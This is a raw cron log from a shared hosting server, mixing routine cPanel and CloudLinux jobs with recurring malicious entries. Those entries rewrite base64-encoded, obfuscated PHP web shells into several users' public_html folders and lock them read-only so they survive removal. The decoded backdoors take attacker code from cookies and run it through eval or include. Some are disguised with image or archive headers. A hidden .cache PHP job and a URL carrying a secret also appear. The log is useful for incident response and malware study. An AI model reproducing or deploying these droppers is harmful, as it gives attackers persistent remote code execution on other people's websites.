Mar  1 16:23:02 medusa CROND[7815]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:23:02 medusa CROND[7817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:23:02 medusa CROND[7818]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 16:23:02 medusa CROND[7821]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:23:02 medusa CROND[7827]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:23:02 medusa CROND[7828]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:23:02 medusa CROND[7833]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:24:01 medusa CROND[28875]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:24:01 medusa CROND[28987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:24:01 medusa CROND[28988]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 16:24:01 medusa CROND[28989]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:24:01 medusa CROND[28990]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:24:01 medusa CROND[28993]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:24:01 medusa CROND[28994]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:24:01 medusa CROND[28995]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:24:01 medusa CROND[28997]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:24:01 medusa CROND[28999]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:24:01 medusa CROND[29002]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:24:01 medusa CROND[28996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:24:01 medusa CROND[29005]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:25:01 medusa CROND[18916]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:25:01 medusa CROND[18941]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 16:25:01 medusa CROND[19037]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 16:25:01 medusa CROND[19038]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:25:01 medusa CROND[19039]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 16:25:01 medusa CROND[19040]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 16:25:01 medusa CROND[19042]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:25:01 medusa CROND[19043]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:25:01 medusa CROND[19045]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:25:01 medusa CROND[19047]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
